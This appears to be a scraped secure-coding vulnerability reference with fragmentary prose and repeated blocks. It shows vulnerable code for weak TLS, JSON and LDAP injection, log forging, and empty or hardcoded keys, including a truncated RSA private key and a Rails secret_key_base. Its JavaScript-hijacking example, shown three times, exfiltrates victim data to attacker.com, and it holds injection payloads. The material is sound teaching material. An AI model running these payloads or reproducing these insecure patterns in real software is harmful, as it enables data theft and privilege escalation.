...
var options = {
port: 443,
path: '/',
key : fs.readFileSync('my-server-key.pem'),
cert : fs.readFileSync('server-cert.pem'),
...
}
https.createServer(options);
...
secureProtocol to SSLv23_method, the server is inherently insecure when secureProtocol is not specifically overridden.
NSURLSessionConfiguration *configuration = [NSURLSessionConfiguration ephemeralSessionConfiguration];
[configuration setTLSMinimumSupportedProtocol = kSSLProtocol3];
NSURLSession *mySession = [NSURLSession sessionWithConfiguration:configuration delegate:self delegateQueue:operationQueue];
let configuration : NSURLSessionConfiguration = NSURLSessionConfiguration.defaultSessionConfiguration()
let mySession = NSURLSession(configuration: configuration, delegate: self, delegateQueue: operationQueue)
<script> tag and is therefore vulnerable to JavaScript hijacking [1]. By default, the framework use the POST method to submit requests, which makes it difficult to generate a request from a malicious <script> tag (since <script> tags only generate GET requests). However, Microsoft AJAX.NET does provide mechanisms for using GET requests. In fact, many experts encourage programmers to use GET requests in order to leverage browser caching and improve performance.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
username and password to the JSON file located at C:\user_info.json:
...
StringBuilder sb = new StringBuilder();
StringWriter sw = new StringWriter(sb);
using (JsonWriter writer = new JsonTextWriter(sw))
{
writer.Formatting = Formatting.Indented;
writer.WriteStartObject();
writer.WritePropertyName("role");
writer.WriteRawValue("\"default\"");
writer.WritePropertyName("username");
writer.WriteRawValue("\"" + username + "\"");
writer.WritePropertyName("password");
writer.WriteRawValue("\"" + password + "\"");
writer.WriteEndObject();
}
File.WriteAllText(@"C:\user_info.json", sb.ToString());
JsonWriter.WriteRawValue(), the untrusted data in username and password will not be validated to escape JSON-related special characters. This allows a user to arbitrarily insert JSON keys, possibly changing the structure of the serialized JSON. In this example, if the non-privileged user mallory with password Evil123! were to append ","role":"admin to her username when entering it at the prompt that sets the value of the username variable, the resulting JSON saved to C:\user_info.json would be:
{
"role":"default",
"username":"mallory",
"role":"admin",
"password":"Evil123!"
}
Dictionary object with JsonConvert.DeserializeObject() as so:
String jsonString = File.ReadAllText(@"C:\user_info.json");
Dictionary<string, string> userInfo = JsonConvert.DeserializeObject<Dictionary<string, strin>>(jsonString);
username, password, and role keys in the Dictionary object would be mallory, Evil123!, and admin respectively. Without further verification that the deserialized JSON values are valid, the application will incorrectly assign user mallory "admin" privileges.username and password to the JSON file located at ~/user_info.json:
...
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
username := r.FormValue("username")
password := r.FormValue("password")
...
jsonString := `{
"username":"` + username + `",
"role":"default"
"password":"` + password + `",
}`
...
f, err := os.Create("~/user_info.json")
defer f.Close()
jsonEncoder := json.NewEncoder(f)
jsonEncoder.Encode(jsonString)
}
username and password is not validated to escape JSON-related special characters. This allows a user to arbitrarily insert JSON keys, which can possibly change the serialized JSON structure. In this example, if the non-privileged user mallory with password Evil123! appended ","role":"admin when she entered her username, the resulting JSON saved to ~/user_info.json would be:
{
"username":"mallory",
"role":"default",
"password":"Evil123!",
"role":"admin"
}
mallory "admin" privileges.username and password to the JSON file located at ~/user_info.json:
...
JsonFactory jfactory = new JsonFactory();
JsonGenerator jGenerator = jfactory.createJsonGenerator(new File("~/user_info.json"), JsonEncoding.UTF8);
jGenerator.writeStartObject();
jGenerator.writeFieldName("username");
jGenerator.writeRawValue("\"" + username + "\"");
jGenerator.writeFieldName("password");
jGenerator.writeRawValue("\"" + password + "\"");
jGenerator.writeFieldName("role");
jGenerator.writeRawValue("\"default\"");
jGenerator.writeEndObject();
jGenerator.close();
JsonGenerator.writeRawValue(), the untrusted data in username and password will not be validated to escape JSON-related special characters. This allows a user to arbitrarily insert JSON keys, possibly changing the structure of the serialized JSON. In this example, if the non-privileged user mallory with password Evil123! were to append ","role":"admin to her username when entering it at the prompt that sets the value of the username variable, the resulting JSON saved to ~/user_info.json would be:
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
HashMap object with Jackson's JsonParser as so:
JsonParser jParser = jfactory.createJsonParser(new File("~/user_info.json"));
while (jParser.nextToken() != JsonToken.END_OBJECT) {
String fieldname = jParser.getCurrentName();
if ("username".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if ("password".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if ("role".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if (userInfo.size() == 3)
break;
}
jParser.close();
username, password, and role keys in the HashMap object would be mallory, Evil123!, and admin respectively. Without further verification that the deserialized JSON values are valid, the application will incorrectly assign user mallory "admin" privileges.
var str = document.URL;
var url_check = str.indexOf('name=');
var name = null;
if (url_check > -1) {
name = decodeURIComponent(str.substring((url_check+5), str.length));
}
$(document).ready(function(){
if (name !== null){
var obj = jQuery.parseJSON('{"role": "user", "name" : "' + name + '"}');
...
}
...
});
name will not be validated to escape JSON-related special characters. This allows a user to arbitrarily insert JSON keys, possibly changing the structure of the serialized JSON. In this example, if the non-privileged user mallory were to append ","role":"admin to the name parameter in the URL, the JSON would become:
{
"role":"user",
"username":"mallory",
"role":"admin"
}
jQuery.parseJSON() and set to a plain object, meaning that obj.role would now return "admin" instead of "user"_usernameField and _passwordField:
...
NSString * const jsonString = [NSString stringWithFormat: @"{\"username\":\"%@\",\"password\":\"%@\",\"role\":\"default\"}" _usernameField.text, _passwordField.text];
NSString.stringWithFormat:, the untrusted data in _usernameField and _passwordField will not be validated to escape JSON-related special characters. This allows a user to arbitrarily insert JSON keys, possibly changing the structure of the serialized JSON. In this example, if the non-privileged user mallory with password Evil123! were to append ","role":"admin to her username when entering it into the _usernameField field, the resulting JSON would be:
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
NSDictionary object with NSJSONSerialization.JSONObjectWithData: as so:
NSError *error;
NSDictionary *jsonData = [NSJSONSerialization JSONObjectWithData:[jsonString dataUsingEncoding:NSUTF8StringEncoding] options:NSJSONReadingAllowFragments error:&error];
username, password, and role in the NSDictionary object would be mallory, Evil123!, and admin respectively. Without further verification that the deserialized JSON values are valid, the application will incorrectly assign user mallory "admin" privileges.
import json
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs
url = 'https://www.example.com/some_path?name=some_value'
parsed_url = urlparse(url)
untrusted_values = parse_qs(parsed_url.query)['name'][0]
with open('data.json', 'r') as json_File:
data = json.load(json_File)
data['name']= untrusted_values
with open('data.json', 'w') as json_File:
json.dump(data, json_File)
...
name will not be validated to escape JSON-related special characters. This allows a user to arbitrarily insert JSON keys, possibly changing the structure of the serialized JSON. In this example, if the non-privileged user mallory were to append ","role":"admin to the name parameter in the URL, the JSON would become:
{
"role":"user",
"username":"mallory",
"role":"admin"
}
usernameField and passwordField:
...
let jsonString : String = "{\"username\":\"\(usernameField.text)\",\"password\":\"\(passwordField.text)\",\"role\":\"default\"}"
usernameField and passwordField will not be validated to escape JSON-related special characters. This allows a user to arbitrarily insert JSON keys, possibly changing the structure of the serialized JSON. In this example, if the non-privileged user mallory with password Evil123! were to append ","role":"admin to her username when entering it into the usernameField field, the resulting JSON would be:
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
NSDictionary object with NSJSONSerialization.JSONObjectWithData: as so:
var error: NSError?
var jsonData : NSDictionary = NSJSONSerialization.JSONObjectWithData(jsonString.dataUsingEncoding(NSUTF8StringEncoding), options: NSJSONReadingOptions.MutableContainers, error: &error) as NSDictionary
username, password, and role in the NSDictionary object would be mallory, Evil123!, and admin respectively. Without further verification that the deserialized JSON values are valid, the application will incorrectly assign user mallory "admin" privileges.
...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.
CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = space
RECEIVING
ro_object = lo_hmac.
" update HMAC with input
lo_hmac->update( if_data = input_string ).
" finalise hmac
lo_digest->final( ).
...
Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.
...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
...
Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.
import "crypto/hmac"
...
hmac.New(md5.New, []byte(""))
...
Example 1 might run successfully, but anyone who has access to it can determine that it uses an empty HMAC key. After the program ships, there is no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.
...
private static String hmacKey = "";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...
Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.
...
let hmacKey = "";
let hmac = crypto.createHmac("SHA256", hmacKey);
hmac.update(data);
...
Example 1 might run successfully, but anyone with access to it might figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function.
...
CCHmac(kCCHmacAlgSHA256, "", 0, plaintext, plaintextLen, &output);
...
Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.
import hmac
...
mac = hmac.new("", plaintext).hexdigest()
...
Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.
...
digest = OpenSSL::HMAC.digest('sha256', '', data)
...
Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.
...
CCHmac(UInt32(kCCHmacAlgSHA256), "", 0, plaintext, plaintextLen, &output)
...
Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.
...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("", salt,100000);
...
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("");
...
const pbkdfPassword = "";
crypto.pbkdf2(
pbkdfPassword,
salt,
numIterations,
keyLen,
hashAlg,
function (err, derivedKey) { ... }
)
...
CCKeyDerivationPBKDF(kCCPBKDF2,
"",
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
...
CCKeyDerivationPBKDF(kCCPBKDF2,
password,
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
password contains a strong, appropriately managed password value, passing its length as zero will result in an empty, null, or otherwise unexpected weak password value.
...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "");
...
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', '', salt, 100000)
...
...
key = OpenSSL::PKCS5::pbkdf2_hmac('', salt, 100000, 256, 'SHA256')
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"",
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
password,
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
password contains a strong, appropriately managed password value, passing its length as zero will result in an empty, null, or otherwise unexpected weak password value.
...
encryptionKey = "lakdsljkalkjlksdfkl".
...
...
var encryptionKey:String = "lakdsljkalkjlksdfkl";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...
...
Blob encKey = Blob.valueOf('YELLOW_SUBMARINE');
Blob encrypted = Crypto.encrypt('AES128', encKey, iv, input);
...
...
using (SymmetricAlgorithm algorithm = SymmetricAlgorithm.Create("AES"))
{
string encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(encryptionKey);
algorithm.Key = keyBytes;
...
}
...
char encryptionKey[] = "lakdsljkalkjlksdfkl";
...
...
<cfset encryptionKey = "lakdsljkalkjlksdfkl" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...
...
key := []byte("lakdsljkalkjlksd");
block, err := aes.NewCipher(key)
...
...
private static final String encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
...
var crypto = require('crypto');
var encryptionKey = "lakdsljkalkjlksdfkl";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
...
{
"username":"scott"
"password":"tiger"
}
...
...
NSString encryptionKey = "lakdsljkalkjlksdfkl";
...
...
$encryption_key = 'hardcoded_encryption_key';
//$filter = new Zend_Filter_Encrypt('hardcoded_encryption_key');
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
...
from Crypto.Ciphers import AES
encryption_key = b'_hardcoded__key_'
cipher = AES.new(encryption_key, AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
_hardcoded__key_ unless the program is patched. A devious employee with access to this information can use it to compromise data encrypted by the system.
require 'openssl'
...
encryption_key = 'hardcoded_encryption_key'
...
cipher = OpenSSL::Cipher::AES.new(256, 'GCM')
cipher.encrypt
...
cipher.key=encryption_key
...
Example 2: The following code performs AES encryption using a hardcoded encryption key:
...
let encryptionKey = "YELLOW_SUBMARINE"
...
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"YELLOW_SUBMARINE",
16,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
...
-----BEGIN RSA PRIVATE KEY-----
MIICXwIBAAKBgQCtVacMo+w+TFOm0p8MlBWvwXtVRpF28V+o0RNPx5x/1TJTlKEl
...
DiJPJY2LNBQ7jS685mb6650JdvH8uQl6oeJ/aUmq63o2zOw=
-----END RSA PRIVATE KEY-----
...
...
Dim encryptionKey As String
Set encryptionKey = "lakdsljkalkjlksdfkl"
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
...
production:
secret_key_base: 0ab25e26286c4fb9f7335947994d83f19861354f19702b7bbb84e85310b287ba3cdc348f1f19c8cdc08a7c6c5ad2c20ad31ecda177d2c74aa2d48ec4a346c40e
...
...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.
CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = 'secret_key'
RECEIVING
ro_object = lo_hmac.
" update HMAC with input
lo_hmac->update( if_data = input_string ).
" finalise hmac
lo_digest->final( ).
...
...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
import "crypto/hmac"
...
hmac.New(sha256.New, []byte("secret"))
...
...
private static String hmacKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...
const hmacKey = "a secret";
const hmac = createHmac('sha256', hmacKey);
hmac.update(data);
...
hmacKey unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function.
...
CCHmac(kCCHmacAlgSHA256, "secret", 6, plaintext, plaintextLen, &output);
...
import hmac
...
mac = hmac.new("secret", plaintext).hexdigest()
...
...
digest = OpenSSL::HMAC.digest('sha256', 'secret_key', data)
...
...
CCHmac(UInt32(kCCHmacAlgSHA256), "secret", 6, plaintext, plaintextLen, &output)
...
...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("password", salt,100000);
...
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("password");
...
const pbkdfPassword = "a secret";
crypto.pbkdf2(
pbkdfPassword,
salt,
numIterations,
keyLen,
hashAlg,
function (err, derivedKey) { ... }
)
...
CCKeyDerivationPBKDF(kCCPBKDF2,
"secret",
6,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "hardcodedpassword");
...
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', 'password', salt, 100000)
...
...
key = OpenSSL::PKCS5::pbkdf2_hmac('password', salt, 100000, 256, 'SHA256')
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"secret",
6,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
...
DirectorySearcher src =
new DirectorySearcher("(manager=" + managerName.Text + ")");
src.SearchRoot = de;
src.SearchScope = SearchScope.Subtree;
foreach(SearchResult res in src.FindAll()) {
...
}
(manager=Smith, John)
managerName does not contain any LDAP meta characters. If an attacker enters the string Hacker, Wiley)(|(objectclass=*) for managerName, then the query becomes the following:
(manager=Hacker, Wiley)(|(objectclass=*))
|(objectclass=*) condition causes the filter to match against all entries in the directory, and allows the attacker to retrieve information about the entire pool of users. Depending on the permissions with which the LDAP query is performed, the breadth of this attack may be limited, but if the attacker may control the command structure of the query, such an attack can at least affect all records that the user the LDAP query is executed as can access.
fgets(manager, sizeof(manager), socket);
snprintf(filter, sizeof(filter, "(manager=%s)", manager);
if ( ( rc = ldap_search_ext_s( ld, FIND_DN, LDAP_SCOPE_BASE,
filter, NULL, 0, NULL, NULL, LDAP_NO_LIMIT,
LDAP_NO_LIMIT, &result ) ) == LDAP_SUCCESS ) {
...
}
(manager=Smith, John)
manager does not contain any LDAP meta characters. If an attacker enters the string Hacker, Wiley)(|(objectclass=*) for manager, then the query becomes the following:
(manager=Hacker, Wiley)(|(objectclass=*))
|(objectclass=*) condition causes the filter to match against all entries in the directory, and allows the attacker to retrieve information about the entire pool of users. Depending on the permissions with which the LDAP query is performed, the breadth of this attack may be limited, but if the attacker may control the command structure of the query, such an attack can at least affect all records that the user the LDAP query is executed as can access.
...
DirContext ctx = new InitialDirContext(env);
String managerName = request.getParameter("managerName");
//retrieve all of the employees who report to a manager
String filter = "(manager=" + managerName + ")";
NamingEnumeration employees = ctx.search("ou=People,dc=example,dc=com",
filter);
...
(manager=Smith, John)
managerName does not contain any LDAP meta characters. If an attacker enters the string Hacker, Wiley)(|(objectclass=*) for managerName, then the query becomes the following:
(manager=Hacker, Wiley)(|(objectclass=*))
|(objectclass=*) condition causes the filter to match against all entries in the directory, and allows the attacker to retrieve information about the entire pool of users. Depending on the permissions with which the LDAP query is performed, the breadth of this attack may be limited, but if the attacker may control the command structure of the query, such an attack can at least affect all records that the user the LDAP query is executed as can access.
...
$managerName = $_POST["managerName"]];
//retrieve all of the employees who report to a manager
$filter = "(manager=" . $managerName . ")";
$result = ldap_search($ds, "ou=People,dc=example,dc=com", $filter);
...
(manager=Smith, John)
managerName does not contain any LDAP meta characters. If an attacker enters the string Hacker, Wiley)(|(objectclass=*) for managerName, then the query becomes the following:
(manager=Hacker, Wiley)(|(objectclass=*))
|(objectclass=*) condition causes the filter to match against all entries in the directory, and allows the attacker to retrieve information about the entire pool of users. Depending on the permissions with which the LDAP query is performed, the breadth of this attack may be limited, but if the attacker may control the command structure of the query, such an attack can at least affect all records that the user the LDAP query is executed as can access.ou string from a hidden field submitted through an HTTP request and uses it to create a new DirectoryEntry.
...
de = new DirectoryEntry("LDAP://ad.example.com:389/ou="
+ hiddenOU.Text + ",dc=example,dc=com");
...
ou value. The problem is that the developer failed to leverage the appropriate access control mechanisms necessary to restrict subsequent queries to access only employee records that the current user is permitted to read.dn string from a socket and uses it to perform an LDAP query.
...
rc = ldap_simple_bind_s( ld, NULL, NULL );
if ( rc != LDAP_SUCCESS ) {
...
}
...
fgets(dn, sizeof(dn), socket);
if ( ( rc = ldap_search_ext_s( ld, dn, LDAP_SCOPE_BASE,
filter, NULL, 0, NULL, NULL, LDAP_NO_LIMIT,
LDAP_NO_LIMIT, &result ) ) != LDAP_SUCCESS ) {
...
dn string. The problem is that the developer failed to leverage the appropriate access control mechanisms necessary to restrict subsequent queries to access only employee records that the current user is permitted to read.
env.put(Context.SECURITY_AUTHENTICATION, "none");
DirContext ctx = new InitialDirContext(env);
String empID = request.getParameter("empID");
try
{
BasicAttribute attr = new BasicAttribute("empID", empID);
NamingEnumeration employee =
ctx.search("ou=People,dc=example,dc=com",attr);
...
dn string from the user and uses it to perform an LDAP query.
$dn = $_POST['dn'];
if (ldap_bind($ds)) {
...
try {
$rs = ldap_search($ds, $dn, "ou=People,dc=example,dc=com", $attr);
...
dn originates from user input and the query is performed under an anonymous bind, an attacker could alter the results of the query by specifying an unexpected dn string. The problem is that the developer failed to leverage the appropriate access control mechanisms necessary to restrict subsequent queries to access only employee records that the current user is permitted to read.
...
DATA log_msg TYPE bal_s_msg.
val = request->get_form_field( 'val' ).
log_msg-msgid = 'XY'.
log_msg-msgty = 'E'.
log_msg-msgno = '123'.
log_msg-msgv1 = 'VAL: '.
log_msg-msgv2 = val.
CALL FUNCTION 'BAL_LOG_MSG_ADD'
EXPORTING
I_S_MSG = log_msg
EXCEPTIONS
LOG_NOT_FOUND = 1
MSG_INCONSISTENT = 2
LOG_IS_FULL = 3
OTHERS = 4.
...
FOO" for val, the following entry is logged:
XY E 123 VAL: FOO
FOO XY E 124 VAL: BAR", the following entry is logged:
XY E 123 VAL: FOO XY E 124 VAL: BAR
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var val:String = String(params["username"]);
var value:Number = parseInt(val);
if (value == Number.NaN) {
trace("Failed to parse val = " + val);
}
twenty-one" for val, the following entry is logged:
Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged:
Failed to parse val=twenty-one
User logged out=badguy
...
string val = (string)Session["val"];
try {
int value = Int32.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val= " + val);
}
...
twenty-one" for val, the following entry is logged:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
syslog(LOG_INFO,"Illegal value = %s",val);
...
twenty-one" for val, the following entry is logged:
Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil", the following entry is logged:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
01 LOGAREA.
05 VALHEADER PIC X(50) VALUE 'VAL: '.
05 VAL PIC X(50).
...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(VAL)
...
END-EXEC.
EXEC DLI
LOG
FROM(LOGAREA)
LENGTH(50)
END-EXEC.
...
FOO" for VAL, the following entry is logged:
VAL: FOO
FOO VAL: BAR", the following entry is logged:
VAL: FOO VAL: BAR
<cflog file="app_log" application="No" Thread="No"
text="Failed to parse val="#Form.val#">
twenty-one" for val, the following entry is logged:
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
twenty-one%0a%0a%22Information%22%2C%2C%2202/28/01%22%2C%2214:53:40%22%2C%2C%22User%20logged%20out:%20badguy%22", the following entry is logged:
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
"Information",,"02/28/01","14:53:40",,"User logged out: badguy"
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
name := r.FormValue("name")
logout := r.FormValue("logout")
...
if (logout){
...
} else {
log.Printf("Attempt to log out: name: %s logout: %s", name, logout)
}
}
twenty-one" for logout and he was able to create a user with name "admin", the following entry is logged:
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++", the following entry is logged:
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...
twenty-one" for val, the following entry is logged:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
